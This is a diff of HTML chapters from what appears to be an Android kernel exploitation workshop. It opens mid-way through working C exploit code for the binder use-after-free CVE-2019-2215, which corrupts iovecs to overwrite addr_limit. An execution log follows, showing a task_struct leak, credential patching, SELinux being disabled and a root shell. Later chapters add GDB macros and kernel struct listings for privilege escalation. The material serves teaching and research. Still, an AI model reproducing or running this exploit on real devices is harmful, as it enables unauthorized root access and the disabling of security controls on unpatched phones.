+    nBytesWritten = write(sock_fd[1], &junkSocketData, sizeof(junkSocketData));
+
+    if (nBytesWritten != sizeof(junkSocketData)) {
+        ERR("\t[-] write failed. nBytesWritten: 0x%lx, expected: 0x%lx\n", nBytesWritten, sizeof(junkSocketData));
+        exit(EXIT_FAILURE);
+    }
+
+    //
+    // Write junk data to the socket so that when recvmsg is
+    // called, it process the first valid iovec with this junk
+    // data and then blocks for the rest of the incoming socket data
+    //
+
+    INFO("[+] Setting up iovecs\n");
+
+    //
+    // We want to block after processing the iovec at IOVEC_WQ_INDEX,
+    // because then, we can trigger the unlink operation and get the
+    // next iovecs corrupted to gain scoped write.
+    //
+
+    mmap4gbAlignedPage();
+
+    iovecStack[IOVEC_WQ_INDEX].iov_base = m_4gb_aligned_page;
+    iovecStack[IOVEC_WQ_INDEX].iov_len = 1;
+    iovecStack[IOVEC_WQ_INDEX + 1].iov_base = (void *) 0x41414141;
+    iovecStack[IOVEC_WQ_INDEX + 1].iov_len = 0x8 + 0x8 + 0x8 + 0x8;
+    iovecStack[IOVEC_WQ_INDEX + 2].iov_base = (void *) 0x42424242;
+    iovecStack[IOVEC_WQ_INDEX + 2].iov_len = 0x8;
+
+    //
+    // Prepare the data buffer that will be written to socket
+    //
+
+    //
+    // Setting addr_limit to 0xFFFFFFFFFFFFFFFF in arm64
+    // will result in crash because of a check in do_page_fault
+    // However, x86_64 does not have this check. But it's better
+    // to set it to 0xFFFFFFFFFFFFFFFE so that this same code can
+    // be used in arm64 as well.
+    //
+
+    static uint64_t finalSocketData[] = {
+            0x1,                    // iovecStack[IOVEC_WQ_INDEX].iov_len
+            0x41414141,             // iovecStack[IOVEC_WQ_INDEX + 1].iov_base
+            0x8 + 0x8 + 0x8 + 0x8,  // iovecStack[IOVEC_WQ_INDEX + 1].iov_len
+            (uint64_t) ((uint8_t *) m_task_struct +
+                        OFFSET_TASK_STRUCT_ADDR_LIMIT), // iovecStack[IOVEC_WQ_INDEX + 2].iov_base
+            0xFFFFFFFFFFFFFFFE      // addr_limit value
+    };
+
+    //
+    // Prepare the message
+    //
+
+    message.msg_iov = iovecStack;
+    message.msg_iovlen = IOVEC_COUNT;
+
+    //
+    // Now link the poll wait queue to binder thread wait queue
+    //
+
+    linkEventPollWaitQueueToBinderThreadWaitQueue();
+
+    //
+    // We should trigger the unlink operation when we
+    // have the binder_thread reallocated as iovec array
+    //
+
+    //
+    // Now fork
+    //
+
+    pid_t childPid = fork();
+
+    if (childPid == 0) {
+        //
+        // child process
+        //
+
+        //
+        // There is a race window between the unlink and blocking
+        // in writev, so sleep for a while to ensure that we are
+        // blocking in writev before the unlink happens
+        //
+
+        sleep(2);
+
+        //
+        // Trigger the unlink operation on the reallocated chunk
+        //
+
+        unlinkEventPollWaitQueueFromBinderThreadWaitQueue();
+
+        //
+        // Now, at this point, the iovecStack[IOVEC_WQ_INDEX].iov_len
+        // and iovecStack[IOVEC_WQ_INDEX + 1].iov_base is clobbered
+        //
+        // Write rest of the data to the socket so that recvmsg starts
+        // processing the corrupted iovecs and we get scoped write and
+        // finally arbitrary write
+        //
+
+        nBytesWritten = write(sock_fd[1], finalSocketData, sizeof(finalSocketData));
+
+        if (nBytesWritten != sizeof(finalSocketData)) {
+            ERR("\t[-] write failed. nBytesWritten: 0x%lx, expected: 0x%lx", nBytesWritten, sizeof(finalSocketData));
+            exit(EXIT_FAILURE);
+        }
+
+        exit(EXIT_SUCCESS);
+
+    }
+
+    //
+    // parent process
+    //
+
+    //
+    // I have seen some races which hinders the reallocation.
+    // So, now freeing the binder_thread after fork.
+    //
+
+    freeBinderThread();
+
+    //
+    // Reallocate binder_thread as iovec array and
+    // we need to make sure this recvmsg call blocks.
+    //
+    // recvmsg will block after processing a valid iovec at
+    // iovecStack[IOVEC_WQ_INDEX]
+    //
+
+    ssize_t nBytesReceived = recvmsg(sock_fd[0], &message, MSG_WAITALL);
+
+    //
+    // If the corruption was successful, the total bytes received
+    // should be equal to length of all iovec. This is because there
+    // are three valid iovec
+    //
+
+    ssize_t expectedBytesReceived = iovecStack[IOVEC_WQ_INDEX].iov_len +
+                                    iovecStack[IOVEC_WQ_INDEX + 1].iov_len +
+                                    iovecStack[IOVEC_WQ_INDEX + 2].iov_len;
+
+    if (nBytesReceived != expectedBytesReceived) {
+        ERR("\t[-] recvmsg failed. nBytesReceived: 0x%lx, expected: 0x%lx\n", nBytesReceived, expectedBytesReceived);
+        exit(EXIT_FAILURE);
+    }
+
+    //
+    // Wait for the child process to exit
+    //
+
+    wait(nullptr);
+}
+
    +

    I hope know you have a better idea how we used scoped write to achieve controlled arbitrary write and clobbered addr_limit with 0xFFFFFFFFFFFFFFFE.

    +

    Exploit In Action

    +

    Let's see the exploit in action.

    +
    ashfaq@hacksys:~/workshop$ adb shell
+generic_x86_64:/ $ uname -a                                                                                        
+Linux localhost 4.14.150+ #1 repo:q-goldfish-android-goldfish-4.14-dev SMP PREEMPT Tue Apr x86_64
+generic_x86_64:/ $ id
+uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0
+generic_x86_64:/ $ getenforce                                                                                      
+Enforcing
+generic_x86_64:/ $ cd /data/local/tmp
+generic_x86_64:/data/local/tmp $ ./cve-2019-2215-exploit                                                         
+
+  ## # # ###     ### ###  #  ###     ### ###  #  ### 
+ #   # # #         # # # ##  # #       #   # ##  #   
+ #   # # ##  ### ### # #  #  ### ### ### ###  #  ### 
+ #   # # #       #   # #  #    #     #   #    #    # 
+  ##  #  ###     ### ### ### ###     ### ### ### ### 
+                                        @HackSysTeam 
+
+[+] Binding to 0th core
+[+] Opening: /dev/binder
+    [*] m_binder_fd: 0x3
+[+] Creating event poll
+    [*] m_epoll_fd: 0x4
+[+] Setting up pipe
+    [*] Pipe created successfully
+    [*] Changed the pipe capacity to: 0x1000
+[+] Setting up iovecs
+[+] Mapping 4GB aligned page
+    [*] Mapped page: 0x100000000
+[+] Linking eppoll_entry->wait.entry to binder_thread->wait.head
+[+] Freeing binder_thread
+[+] Un-linking eppoll_entry->wait.entry from binder_thread->wait.head
+    [*] Wrote 0x2000 bytes
+[+] Leaked task_struct: 0xffff888063a14b00
+    [*] &task_struct->pid: 0xffff888063a14fe8
+    [*] &task_struct->cred: 0xffff888063a15188
+    [*] &task_struct->nsproxy: 0xffff888063a151c0
+[+] Opening: /dev/binder
+    [*] m_binder_fd: 0x7
+[+] Creating event poll
+    [*] m_epoll_fd: 0x8
+[+] Setting up socket
+    [*] Socketpair created successfully
+[+] Writing junk data to socket
+[+] Setting up iovecs
+[+] Linking eppoll_entry->wait.entry to binder_thread->wait.head
+[+] Freeing binder_thread
+[+] Un-linking eppoll_entry->wait.entry from binder_thread->wait.head
+[+] Setting up pipe for kernel read/write
+    [*] Pipe created successfully
+[+] Verifying arbitrary read/write primitive
+    [*] currentPid: 7039
+    [*] expectedPid: 7039
+    [*] Arbitrary read/write successful
+[+] Patching current task cred members
+    [*] cred: 0xffff888066e016c0
+[+] Verifying if selinux enforcing is enabled
+    [*] nsproxy: 0xffffffff81433ac0
+    [*] Kernel base: 0xffffffff80200000
+    [*] selinux_enforcing: 0xffffffff816acfe8
+    [*] selinux enforcing is enabled
+    [*] Disabled selinux enforcing
+[+] Verifying if rooted
+    [*] uid: 0x0
+    [*] Rooting successful
+[+] Spawning root shell
+generic_x86_64:/data/local/tmp # id
+uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0
+generic_x86_64:/data/local/tmp # getenforce                                                                        
+Permissive
+generic_x86_64:/data/local/tmp #
+
    +

    You can see that we have achieved root and disabled SELinux.

    + + +
    + +
    +
    +
    + +

    results matching ""

    +
      + +
      +
      + +

      No results matching ""

      + +
      +
      +
      + +
      +
      + +
      + + + + + + + + + + + + + + +
      + + +
      + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/chapters/gdb-macros.html b/chapters/gdb-macros.html new file mode 100644 index 0000000..39d8b64 --- /dev/null +++ b/chapters/gdb-macros.html @@ -0,0 +1,997 @@ + + + + + + + GDB Macros ยท Android Kernel Exploitation + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
      +
      + + + + + + + + +
      + +
      + +
      + + + + + + + + +
      +
      + +
      +
      + +
      + +

      GDB Macros

      +

      These are useful macros that you can use during debugging.

      +
      macro define offsetof(_type, _memb) ((long)(&((_type *)0)->_memb))
+
      macro define containerof(_ptr, _type, _memb) ((_type *)((void *)(_ptr) - offsetof(_type, _memb)))
+
      + +
      + +
      +
      +
      + +

      results matching ""

      +
        + +
        +
        + +

        No results matching ""

        + +
        +
        +
        + +
        +
        + +
        + + + + + + + + + + + + + + +
        + + +
        + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/chapters/linux-privilege-escalation.html b/chapters/linux-privilege-escalation.html new file mode 100644 index 0000000..7ece9bd --- /dev/null +++ b/chapters/linux-privilege-escalation.html @@ -0,0 +1,1789 @@ + + + + + + + Linux Privilege Escalation ยท Android Kernel Exploitation + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        +
        + + + + + + + + +
        + +
        + +
        + + + + + + + + +
        +
        + +
        +
        + +
        + +

        Linux Privilege Escalation

        +

        The end goal of this workshop is to use a Android kernel vulnerability to achieve privilege escalation i.e root. In Linux root is the super user with uid=0(root) gid=0(root) and has all the access rights.

        +

        Light Weight Process

        +

        Linux uses Light Weight Process to implement better support multi-threading. Each light weight process is assigned a process descriptor called task_struct and is defined in include/linux/sched.h.

        +
        struct task_struct {
+#ifdef CONFIG_THREAD_INFO_IN_TASK
+        /*
+         * For reasons of header soup (see current_thread_info()), this
+         * must be the first element of task_struct.
+         */
+        struct thread_info              thread_info;
+#endif
+        /* -1 unrunnable, 0 runnable, >0 stopped: */
+        volatile long                   state;
+
+        /*
+         * This begins the randomizable portion of task_struct. Only
+         * scheduling-critical items should be added above here.
+         */
+        randomized_struct_fields_start
+
+        void                            *stack;
+        atomic_t                        usage;
+        /* Per task flags (PF_*), defined further below: */
+        unsigned int                    flags;
+        unsigned int                    ptrace;
+
+#ifdef CONFIG_SMP
+        struct llist_node               wake_entry;
+        int                             on_cpu;
+#ifdef CONFIG_THREAD_INFO_IN_TASK
+        /* Current CPU: */
+        unsigned int                    cpu;
+#endif
+        unsigned int                    wakee_flips;
+        unsigned long                   wakee_flip_decay_ts;
+        struct task_struct              *last_wakee;
+
+        int                             wake_cpu;
+#endif
+        int                             on_rq;
+
+        int                             prio;
+        int                             static_prio;
+        int                             normal_prio;
+        unsigned int                    rt_priority;
+
+        const struct sched_class        *sched_class;
+        struct sched_entity             se;
+        struct sched_rt_entity          rt;
+#ifdef CONFIG_SCHED_WALT
+        struct ravg ravg;
+        /*
+         * 'init_load_pct' represents the initial task load assigned to children
+         * of this task
+         */
+        u32 init_load_pct;
+        u64 last_sleep_ts;
+#endif
+
+#ifdef CONFIG_CGROUP_SCHED
+        struct task_group               *sched_task_group;
+#endif
+        struct sched_dl_entity          dl;
+
+#ifdef CONFIG_PREEMPT_NOTIFIERS
+        /* List of struct preempt_notifier: */
+        struct hlist_head               preempt_notifiers;
+#endif
+
+#ifdef CONFIG_BLK_DEV_IO_TRACE
+        unsigned int                    btrace_seq;
+#endif
+
+        unsigned int                    policy;
+        int                             nr_cpus_allowed;
+        cpumask_t                       cpus_allowed;
+
+#ifdef CONFIG_PREEMPT_RCU
+        int                             rcu_read_lock_nesting;
+        union rcu_special               rcu_read_unlock_special;
+        struct list_head                rcu_node_entry;
+        struct rcu_node                 *rcu_blocked_node;
+#endif /* #ifdef CONFIG_PREEMPT_RCU */
+
+#ifdef CONFIG_TASKS_RCU
+        unsigned long                   rcu_tasks_nvcsw;
+        u8                              rcu_tasks_holdout;
+        u8                              rcu_tasks_idx;
+        int                             rcu_tasks_idle_cpu;
+        struct list_head                rcu_tasks_holdout_list;
+#endif /* #ifdef CONFIG_TASKS_RCU */
+
+        struct sched_info               sched_info;
+
+        struct list_head                tasks;
+#ifdef CONFIG_SMP
+        struct plist_node               pushable_tasks;
+        struct rb_node                  pushable_dl_tasks;
+#endif
+
+        struct mm_struct                *mm;
+        struct mm_struct                *active_mm;
+
+        /* Per-thread vma caching: */
+        struct vmacache                 vmacache;
+
+#ifdef SPLIT_RSS_COUNTING
+        struct task_rss_stat            rss_stat;
+#endif
+        int                             exit_state;
+        int                             exit_code;
+        int                             exit_signal;
+        /* The signal sent when the parent dies: */
+        int                             pdeath_signal;
+        /* JOBCTL_*, siglock protected: */
+        unsigned long                   jobctl;
+
+        /* Used for emulating ABI behavior of previous Linux versions: */
+        unsigned int                    personality;
+
+        /* Scheduler bits, serialized by scheduler locks: */
+        unsigned                        sched_reset_on_fork:1;
+        unsigned                        sched_contributes_to_load:1;
+        unsigned                        sched_migrated:1;
+        unsigned                        sched_remote_wakeup:1;
+#ifdef CONFIG_PSI
+        unsigned                        sched_psi_wake_requeue:1;
+#endif
+
+        /* Force alignment to the next boundary: */
+        unsigned                        :0;
+
+        /* Unserialized, strictly 'current' */
+
+        /* Bit to tell LSMs we're in execve(): */
+        unsigned                        in_execve:1;
+        unsigned                        in_iowait:1;
+#ifndef TIF_RESTORE_SIGMASK
+        unsigned                        restore_sigmask:1;
+#endif
+#ifdef CONFIG_MEMCG
+        unsigned                        memcg_may_oom:1;
+#ifndef CONFIG_SLOB
+        unsigned                        memcg_kmem_skip_account:1;
+#endif
+#endif
+#ifdef CONFIG_COMPAT_BRK
+        unsigned                        brk_randomized:1;
+#endif
+#ifdef CONFIG_CGROUPS
+        /* disallow userland-initiated cgroup migration */
+        unsigned                        no_cgroup_migration:1;
+#endif
+
+        unsigned long                   atomic_flags; /* Flags requiring atomic access. */
+
+        struct restart_block            restart_block;
+
+        pid_t                           pid;
+        pid_t                           tgid;
+
+#ifdef CONFIG_CC_STACKPROTECTOR
+        /* Canary value for the -fstack-protector GCC feature: */
+        unsigned long                   stack_canary;
+#endif
+        /*
+         * Pointers to the (original) parent process, youngest child, younger sibling,
+         * older sibling, respectively.  (p->father can be replaced with
+         * p->real_parent->pid)
+         */
+
+        /* Real parent process: */
+        struct task_struct __rcu        *real_parent;
+
+        /* Recipient of SIGCHLD, wait4() reports: */
+        struct task_struct __rcu        *parent;
+
+        /*
+         * Children/sibling form the list of natural children:
+         */
+        struct list_head                children;
+        struct list_head                sibling;
+        struct task_struct              *group_leader;
+
+        /*
+         * 'ptraced' is the list of tasks this task is using ptrace() on.
+         *
+         * This includes both natural children and PTRACE_ATTACH targets.
+         * 'ptrace_entry' is this task's link on the p->parent->ptraced list.
+         */
+        struct list_head                ptraced;
+        struct list_head                ptrace_entry;
+
+        /* PID/PID hash table linkage. */
+        struct pid_link                 pids[PIDTYPE_MAX];
+        struct list_head                thread_group;
+        struct list_head                thread_node;
+
+        struct completion               *vfork_done;
+
+        /* CLONE_CHILD_SETTID: */
+        int __user                      *set_child_tid;
+
+        /* CLONE_CHILD_CLEARTID: */
+        int __user                      *clear_child_tid;
+
+        u64                             utime;
+        u64                             stime;
+#ifdef CONFIG_ARCH_HAS_SCALED_CPUTIME
+        u64                             utimescaled;
+        u64                             stimescaled;
+#endif
+        u64                             gtime;
+#ifdef CONFIG_CPU_FREQ_TIMES
+        u64                             *time_in_state;
+        unsigned int                    max_state;
+#endif
+        struct prev_cputime             prev_cputime;
+#ifdef CONFIG_VIRT_CPU_ACCOUNTING_GEN
+        struct vtime                    vtime;
+#endif
+
+#ifdef CONFIG_NO_HZ_FULL
+        atomic_t                        tick_dep_mask;
+#endif
+        /* Context switch counts: */
+        unsigned long                   nvcsw;
+        unsigned long                   nivcsw;
+
+        /* Monotonic time in nsecs: */
+        u64                             start_time;
+
+        /* Boot based time in nsecs: */
+        u64                             real_start_time;
+
+        /* MM fault and swap info: this can arguably be seen as either mm-specific or thread-specific: */
+        unsigned long                   min_flt;
+        unsigned long                   maj_flt;
+
+#ifdef CONFIG_POSIX_TIMERS
+        struct task_cputime             cputime_expires;
+        struct list_head                cpu_timers[3];
+#endif
+
+        /* Process credentials: */
+
+        /* Tracer's credentials at attach: */
+        const struct cred __rcu         *ptracer_cred;
+
+        /* Objective and real subjective task credentials (COW): */
+        const struct cred __rcu         *real_cred;
+
+        /* Effective (overridable) subjective task credentials (COW): */
+        const struct cred __rcu         *cred;
+
+        /*
+         * executable name, excluding path.
+         *
+         * - normally initialized setup_new_exec()
+         * - access it with [gs]et_task_comm()
+         * - lock it with task_lock()
+         */
+        char                            comm[TASK_COMM_LEN];
+
+        struct nameidata                *nameidata;
+
+#ifdef CONFIG_SYSVIPC
+        struct sysv_sem                 sysvsem;
+        struct sysv_shm                 sysvshm;
+#endif
+#ifdef CONFIG_DETECT_HUNG_TASK
+        unsigned long                   last_switch_count;
+#endif
+        /* Filesystem information: */
+        struct fs_struct                *fs;
+
+        /* Open file information: */
+        struct files_struct             *files;
+
+        /* Namespaces: */
+        struct nsproxy                  *nsproxy;
+
+        /* Signal handlers: */
+        struct signal_struct            *signal;
+        struct sighand_struct           *sighand;
+        sigset_t                        blocked;
+        sigset_t                        real_blocked;
+        /* Restored if set_restore_sigmask() was used: */
+        sigset_t                        saved_sigmask;
+        struct sigpending               pending;
+        unsigned long                   sas_ss_sp;
+        size_t                          sas_ss_size;
+        unsigned int                    sas_ss_flags;
+
+        struct callback_head            *task_works;
+
+        struct audit_context            *audit_context;
+#ifdef CONFIG_AUDITSYSCALL
+        kuid_t                          loginuid;
+        unsigned int                    sessionid;
+#endif
+        struct seccomp                  seccomp;
+
+        /* Thread group tracking: */
+        u32                             parent_exec_id;
+        u32                             self_exec_id;
+
+        /* Protection against (de-)allocation: mm, files, fs, tty, keyrings, mems_allowed, mempolicy: */
+        spinlock_t                      alloc_lock;
+
+        /* Protection of the PI data structures: */
+        raw_spinlock_t                  pi_lock;
+
+        struct wake_q_node              wake_q;
+
+#ifdef CONFIG_RT_MUTEXES
+        /* PI waiters blocked on a rt_mutex held by this task: */
+        struct rb_root_cached           pi_waiters;
+        /* Updated under owner's pi_lock and rq lock */
+        struct task_struct              *pi_top_task;
+        /* Deadlock detection and priority inheritance handling: */
+        struct rt_mutex_waiter          *pi_blocked_on;
+#endif
+
+#ifdef CONFIG_DEBUG_MUTEXES
+        /* Mutex deadlock detection: */
+        struct mutex_waiter             *blocked_on;
+#endif
+
+#ifdef CONFIG_TRACE_IRQFLAGS
+        unsigned int                    irq_events;
+        unsigned long                   hardirq_enable_ip;
+        unsigned long                   hardirq_disable_ip;
+        unsigned int                    hardirq_enable_event;
+        unsigned int                    hardirq_disable_event;
+        int                             hardirqs_enabled;
+        int                             hardirq_context;
+        unsigned long                   softirq_disable_ip;
+        unsigned long                   softirq_enable_ip;
+        unsigned int                    softirq_disable_event;
+        unsigned int                    softirq_enable_event;
+        int                             softirqs_enabled;
+        int                             softirq_context;
+#endif
+
+#ifdef CONFIG_LOCKDEP
+# define MAX_LOCK_DEPTH                 48UL
+        u64                             curr_chain_key;
+        int                             lockdep_depth;
+        unsigned int                    lockdep_recursion;
+        struct held_lock                held_locks[MAX_LOCK_DEPTH];
+#endif
+
+#ifdef CONFIG_LOCKDEP_CROSSRELEASE
+#define MAX_XHLOCKS_NR 64UL
+        struct hist_lock *xhlocks; /* Crossrelease history locks */
+        unsigned int xhlock_idx;
+        /* For restoring at history boundaries */
+        unsigned int xhlock_idx_hist[XHLOCK_CTX_NR];
+        unsigned int hist_id;
+        /* For overwrite check at each context exit */
+        unsigned int hist_id_save[XHLOCK_CTX_NR];
+#endif
+
+#ifdef CONFIG_UBSAN
+        unsigned int                    in_ubsan;
+#endif
+
+        /* Journalling filesystem info: */
+        void                            *journal_info;
+
+        /* Stacked block device info: */
+        struct bio_list                 *bio_list;
+
+#ifdef CONFIG_BLOCK
+        /* Stack plugging: */
+        struct blk_plug                 *plug;
+#endif
+
+        /* VM state: */
+        struct reclaim_state            *reclaim_state;
+
+        struct backing_dev_info         *backing_dev_info;
+
+        struct io_context               *io_context;
+
+        /* Ptrace state: */
+        unsigned long                   ptrace_message;
+        siginfo_t                       *last_siginfo;
+
+        struct task_io_accounting       ioac;
+#ifdef CONFIG_PSI
+        /* Pressure stall state */
+        unsigned int                    psi_flags;
+#endif
+#ifdef CONFIG_TASK_XACCT
+        /* Accumulated RSS usage: */
+        u64                             acct_rss_mem1;
+        /* Accumulated virtual memory usage: */
+        u64                             acct_vm_mem1;
+        /* stime + utime since last update: */
+        u64                             acct_timexpd;
+#endif
+#ifdef CONFIG_CPUSETS
+        /* Protected by ->alloc_lock: */
+        nodemask_t                      mems_allowed;
+        /* Seqence number to catch updates: */
+        seqcount_t                      mems_allowed_seq;
+        int                             cpuset_mem_spread_rotor;
+        int                             cpuset_slab_spread_rotor;
+#endif
+#ifdef CONFIG_CGROUPS
+        /* Control Group info protected by css_set_lock: */
+        struct css_set __rcu            *cgroups;
+        /* cg_list protected by css_set_lock and tsk->alloc_lock: */
+        struct list_head                cg_list;
+#endif
+#ifdef CONFIG_INTEL_RDT
+        u32                             closid;
+        u32                             rmid;
+#endif
+#ifdef CONFIG_FUTEX
+        struct robust_list_head __user  *robust_list;
+#ifdef CONFIG_COMPAT
+        struct compat_robust_list_head __user *compat_robust_list;
+#endif
+        struct list_head                pi_state_list;
+        struct futex_pi_state           *pi_state_cache;
+#endif
+#ifdef CONFIG_PERF_EVENTS
+        struct perf_event_context       *perf_event_ctxp[perf_nr_task_contexts];
+        struct mutex                    perf_event_mutex;
+        struct list_head                perf_event_list;
+#endif
+#ifdef CONFIG_DEBUG_PREEMPT
+        unsigned long                   preempt_disable_ip;
+#endif
+#ifdef CONFIG_NUMA
+        /* Protected by alloc_lock: */
+        struct mempolicy                *mempolicy;
+        short                           il_prev;
+        short                           pref_node_fork;
+#endif
+#ifdef CONFIG_NUMA_BALANCING
+        int                             numa_scan_seq;
+        unsigned int                    numa_scan_period;
+        unsigned int                    numa_scan_period_max;
+        int                             numa_preferred_nid;
+        unsigned long                   numa_migrate_retry;
+        /* Migration stamp: */
+        u64                             node_stamp;
+        u64                             last_task_numa_placement;
+        u64                             last_sum_exec_runtime;
+        struct callback_head            numa_work;
+
+        struct list_head                numa_entry;
+        struct numa_group               *numa_group;
+
+        /*
+         * numa_faults is an array split into four regions:
+         * faults_memory, faults_cpu, faults_memory_buffer, faults_cpu_buffer
+         * in this precise order.
+         *
+         * faults_memory: Exponential decaying average of faults on a per-node
+         * basis. Scheduling placement decisions are made based on these
+         * counts. The values remain static for the duration of a PTE scan.
+         * faults_cpu: Track the nodes the process was running on when a NUMA
+         * hinting fault was incurred.
+         * faults_memory_buffer and faults_cpu_buffer: Record faults per node
+         * during the current scan window. When the scan completes, the counts
+         * in faults_memory and faults_cpu decay and these values are copied.
+         */
+        unsigned long                   *numa_faults;
+        unsigned long                   total_numa_faults;
+
+        /*
+         * numa_faults_locality tracks if faults recorded during the last
+         * scan window were remote/local or failed to migrate. The task scan
+         * period is adapted based on the locality of the faults with different
+         * weights depending on whether they were shared or private faults
+         */
+        unsigned long                   numa_faults_locality[3];
+
+        unsigned long                   numa_pages_migrated;
+#endif /* CONFIG_NUMA_BALANCING */
+
+        struct tlbflush_unmap_batch     tlb_ubc;
+
+        struct rcu_head                 rcu;
+
+        /* Cache last used pipe for splice(): */
+        struct pipe_inode_info          *splice_pipe;
+
+        struct page_frag                task_frag;
+
+#ifdef CONFIG_TASK_DELAY_ACCT
+        struct task_delay_info          *delays;
+#endif
+
+#ifdef CONFIG_FAULT_INJECTION
+        int                             make_it_fail;
+        unsigned int                    fail_nth;
+#endif
+        /*
+         * When (nr_dirtied >= nr_dirtied_pause), it's time to call
+         * balance_dirty_pages() for a dirty throttling pause:
+         */
+        int                             nr_dirtied;
+        int                             nr_dirtied_pause;
+        /* Start of a write-and-pause period: */
+        unsigned long                   dirty_paused_when;
+
+#ifdef CONFIG_LATENCYTOP
+        int                             latency_record_count;
+        struct latency_record           latency_record[LT_SAVECOUNT];
+#endif
+        /*
+         * Time slack values; these are used to round up poll() and
+         * select() etc timeout values. These are in nanoseconds.
+         */
+        u64                             timer_slack_ns;
+        u64                             default_timer_slack_ns;
+
+#ifdef CONFIG_KASAN
+        unsigned int                    kasan_depth;
+#endif
+
+#ifdef CONFIG_FUNCTION_GRAPH_TRACER
+        /* Index of current stored address in ret_stack: */
+        int                             curr_ret_stack;
+
+        /* Stack of return addresses for return function tracing: */
+        struct ftrace_ret_stack         *ret_stack;
+
+        /* Timestamp for last schedule: */
+        unsigned long long              ftrace_timestamp;
+
+        /*
+         * Number of functions that haven't been traced
+         * because of depth overrun:
+         */
+        atomic_t                        trace_overrun;
+
+        /* Pause tracing: */
+        atomic_t                        tracing_graph_pause;
+#endif
+
+#ifdef CONFIG_TRACING
+        /* State flags for use by tracers: */
+        unsigned long                   trace;
+
+        /* Bitmask and counter of trace recursion: */
+        unsigned long                   trace_recursion;
+#endif /* CONFIG_TRACING */
+
+#ifdef CONFIG_KCOV
+        /* Coverage collection mode enabled for this task (0 if disabled): */
+        enum kcov_mode                  kcov_mode;
+
+        /* Size of the kcov_area: */
+        unsigned int                    kcov_size;
+
+        /* Buffer for coverage collection: */
+        void                            *kcov_area;
+
+        /* KCOV descriptor wired with this task or NULL: */
+        struct kcov                     *kcov;
+#endif
+
+#ifdef CONFIG_MEMCG
+        struct mem_cgroup               *memcg_in_oom;
+        gfp_t                           memcg_oom_gfp_mask;
+        int                             memcg_oom_order;
+
+        /* Number of pages to reclaim on returning to userland: */
+        unsigned int                    memcg_nr_pages_over_high;
+#endif
+
+#ifdef CONFIG_UPROBES
+        struct uprobe_task              *utask;
+#endif
+#if defined(CONFIG_BCACHE) || defined(CONFIG_BCACHE_MODULE)
+        unsigned int                    sequential_io;
+        unsigned int                    sequential_io_avg;
+#endif
+#ifdef CONFIG_DEBUG_ATOMIC_SLEEP
+        unsigned long                   task_state_change;
+#endif
+        int                             pagefault_disabled;
+#ifdef CONFIG_MMU
+        struct task_struct              *oom_reaper_list;
+#endif
+#ifdef CONFIG_VMAP_STACK
+        struct vm_struct                *stack_vm_area;
+#endif
+#ifdef CONFIG_THREAD_INFO_IN_TASK
+        /* A live task holds one reference: */
+        atomic_t                        stack_refcount;
+#endif
+#ifdef CONFIG_LIVEPATCH
+        int patch_state;
+#endif
+#ifdef CONFIG_SECURITY
+        /* Used by LSM modules for access restriction: */
+        void                            *security;
+#endif
+
+        /*
+         * New fields for task_struct should be added above here, so that
+         * they are included in the randomized portion of task_struct.
+         */
+        randomized_struct_fields_end
+
+        /* CPU-specific state of this task: */
+        struct thread_struct            thread;
+
+        /*
+         * WARNING: on x86, 'thread_struct' contains a variable-sized
+         * structure.  It *MUST* be at the end of 'task_struct'.
+         *
+         * Do not put anything below here!
+         */
+};
+
        +

        This data structure contains all the information to manage a process. One of the interesting members in this task_struct structure is cred.

        +

        Process Credentials

        +

        The security context of a task is defined by struct cred and is defined in include/linux/cred.h.

        +
        struct cred {
+        atomic_t        usage;
+#ifdef CONFIG_DEBUG_CREDENTIALS
+        atomic_t        subscribers;    /* number of processes subscribed */
+        void            *put_addr;
+        unsigned        magic;
+#define CRED_MAGIC      0x43736564
+#define CRED_MAGIC_DEAD 0x44656144
+#endif
+        kuid_t          uid;            /* real UID of the task */
+        kgid_t          gid;            /* real GID of the task */
+        kuid_t          suid;           /* saved UID of the task */
+        kgid_t          sgid;           /* saved GID of the task */
+        kuid_t          euid;           /* effective UID of the task */
+        kgid_t          egid;           /* effective GID of the task */
+        kuid_t          fsuid;          /* UID for VFS ops */
+        kgid_t          fsgid;          /* GID for VFS ops */
+        unsigned        securebits;     /* SUID-less security management */
+        kernel_cap_t    cap_inheritable; /* caps our children can inherit */
+        kernel_cap_t    cap_permitted;  /* caps we're permitted */
+        kernel_cap_t    cap_effective;  /* caps we can actually use */
+        kernel_cap_t    cap_bset;       /* capability bounding set */
+        kernel_cap_t    cap_ambient;    /* Ambient capability set */
+#ifdef CONFIG_KEYS
+        unsigned char   jit_keyring;    /* default keyring to attach requested
+                                         * keys to */
+        struct key __rcu *session_keyring; /* keyring inherited over fork */
+        struct key      *process_keyring; /* keyring private to this process */
+        struct key      *thread_keyring; /* keyring private to this thread */
+        struct key      *request_key_auth; /* assumed request_key authority */
+#endif
+#ifdef CONFIG_SECURITY
+        void            *security;      /* subjective LSM security */
+#endif
+        struct user_struct *user;       /* real user ID subscription */
+        struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
+        struct group_info *group_info;  /* supplementary groups for euid/fsgid */
+        /* RCU deletion */
+        union {
+                int non_rcu;                    /* Can we skip RCU deletion? */
+                struct rcu_head rcu;            /* RCU deletion hook */
+        };
+} __randomize_layout;
+
        +

        In most of the Linux kernel exploits, you must have seen that to achieve root they use

        +
        commit_creds(prepare_kernel_cred(NULL));
+
        +

        Let's try to look into these two functions and see what they do. First, let's look into prepare_kernel_cred function which is defined in kernel/cred.c.

        +
        struct cred *prepare_kernel_cred(struct task_struct *daemon)
+{
+        const struct cred *old;
+        struct cred *new;
+
+        new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
+        if (!new)
+                return NULL;
+
+        kdebug("prepare_kernel_cred() alloc %p", new);
+
+        if (daemon)
